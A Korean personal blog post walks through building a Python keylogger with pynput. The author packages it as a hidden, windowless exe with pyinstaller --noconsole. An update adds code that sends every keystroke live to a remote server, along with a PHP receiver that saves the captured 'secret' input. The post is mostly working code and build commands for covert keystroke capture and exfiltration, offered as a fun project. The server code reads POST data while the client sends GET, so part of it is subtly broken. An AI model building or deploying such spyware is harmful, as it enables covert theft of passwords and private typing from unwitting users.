구글링하다가 키로깅코드가 있길래 재밌어보여서 만지작해본다.
우선 키로깅을하려면 pynput 이라는 라이브러리가 필요하다
까먹을까봐 주석으로 #pip install pynput 을 달아주었다
(/pip3 install pynput도 가능)
참고로
pip : python2 버전
pip3 : python3 버전
삭제는 pip uninstall pynput 처럼
install을 uninstall로 바꾸면 됨
그리고 상대경로와 절대경로가 있는데
리눅스 공부할때 배우길
상대경로는 현재디렉토리 기준
절대경로는 루트디렉토리 기준
/ : 루트
./ : 현재 위치
../ : 현재 위치의 상단 폴더
이렇게하고 실행하면
콘솔창이 하나 열리고, 그 콘솔창이 열려있는 동안
자동으로 같은폴더내에 KeyLog.txt파일이 생성되어
키보드로 입력한 내용들이 그안에 기록된다
그리고 이 파일을 exe파일로 만들어보고싶어서
pyinstaller을 사용해보았다
현재디렉토리에서 주소창에 cmd라고 입력하면
해당경로로 설정되어 cmd창이 열린다
우선 pip3 install pyinstaller 로
pyinstaller을 설치해준다
그리고
실행파일을 만들때에는
실행파일로 만들고싶은 파일 있는 폴더에서 작업해줘야
실행파일이 만들어진다
나는 위에서처럼 그 폴더에서 cmd쳐서 들어왔기때문에
경로변경은 따로안해줘도된다
하지만 그냥 ctrl + R 누르고 cmd쳐서 들어왔다면
cd 로 경로변경해준다
실행파일을 만드는 명령어는
pyinstaller 파일명.py
인데 pyinstaller에는 다양한 옵션이 있었다
우선 옵션없이 입력하면
exe파일 말고도 여러 잡다한 파일들이 생겨난다
그래서 한파일로 합치고 싶다면
--onefile 옵션을 붙이면된다
그러면 dist라는 폴더가 생성되면서 그 안에
따끈따끈하게 exe파일이 생성된다
그런데 실행해보니 계속 켜자마자 바로 꺼졌다
너무빨리 꺼져서 오류볼수없었다
겨우 캡쳐서해서 보니
대충 pynput importError 였던것같았다
갇글링 결과
--hidden-import "pynput.keyboard._win32" --hidden-import "pynput.mouse._win32"
대충 요 옵션을 넣어주면 되는듯 했다
이렇게 입력해보았다
pyinstaller --console --onefile --hidden-import "pynput.keyboard._win32" --hidden-import "pynput.mouse._win32" easykey.py
--console 옵션은 파일실행하면 콘솔창이 열리는 옵션
--onefile 옵션은 exe하나의 파일로 만들어주는 옵션
실행해보니 잘열렸다
그런데 계속 콘솔창이 열리는게 싫어서
--console 옵션을
--noconsole 로 변경해주었다
실행하면 콘솔창이 뜨지않지만
메모장파일이 생성되면서 로깅은 된다
종료시키고싶다면 작업관리자창에서 프로세스 끝내기를 하면된다
#pip install pynput 해야함
#exe파일 만들때는 다음 명령어로 입력해야함 pyinstaller --console --onefile --hidden-import "pynput.keyboard._win32" --hidden-import "pynput.mouse._win32" easykey.py
import pynput
from pynput.keyboard import Key, Listener
import logging
log_dir = r"./"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
<업뎃>
개인 서버가 있다면
서버로 실시간 로그전송이 가능하다
(서버컴퓨터가 집에있는 개인콤퓨타라면 iptime에서 포트포워딩과 제어판에서 방화벽해제 작업을 해야한다
또한 서버내에 기록해주는 php파일도 필요// php는 따로 포스팅을 해야겠다)
윈도우cmd에 curl 기능이 있는데
curl을 쓰면 웹브라우저에 접속하지 않아도 http 요청을 할수있다
curl로는
curl "http://서버주소/lolo.php?k='aadda'"
이런식으로 cmd에 그냥 써주기만 하면된다
이와 비슷하게 파이썬에는 requests가 있다
아래코드를 보면 그냥 변수에 담기만 해도 실행이 된다
그러면 프로그램을 실행하는 순간 실시간으로 키로그가 내서버 메모장으로 전송된다
아래코드는 서버가 꺼져있을때는 작동되지않는다
#pip install pynput 해야함
#exe파일 만들때는 다음 명령어로 입력해야함 pyinstaller --console --onefile --hidden-import "pynput.keyboard._win32" --hidden-import "pynput.mouse._win32" easykey.py
import pynput
from pynput.keyboard import Key, Listener
import logging
import requests
log_dir = r"./"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
per=str(key)
payload = {'변수명':per}
r = requests.get('http://서버주소/나만의php파일.php', params=payload)
with Listener(on_press=on_press) as listener:
listener.join()
서버쪽 php는
<?php
$aa = $\_POST\['변수명'\];
?>
<?php
$파일 = './keylogging.txt';
if ( !is\_file($파일) ) { touch($파일); chmod($파일,0777); } // 파일 없으면 생성
file\_put\_contents($파일,"비밀 : ".$aa."\\n".file\_get\_contents($파일)); //
?>
'웹 개발 > 🐍 Python' 카테고리의 다른 글
여러 모듈이 있는 python 실행파일만들기 (0) | 2024.01.31 |
---|---|
[pytube] 유튜브영상을 mp3파일로 다운로드 (0) | 2022.05.23 |
웹캠을 이용한 바코드리더기 (0) | 2022.04.08 |
주차감면 키오스크(PyQT,Selenium) (0) | 2021.09.23 |
우편업무 자동화(Excel Visual Basic, pyautogui) (0) | 2021.09.16 |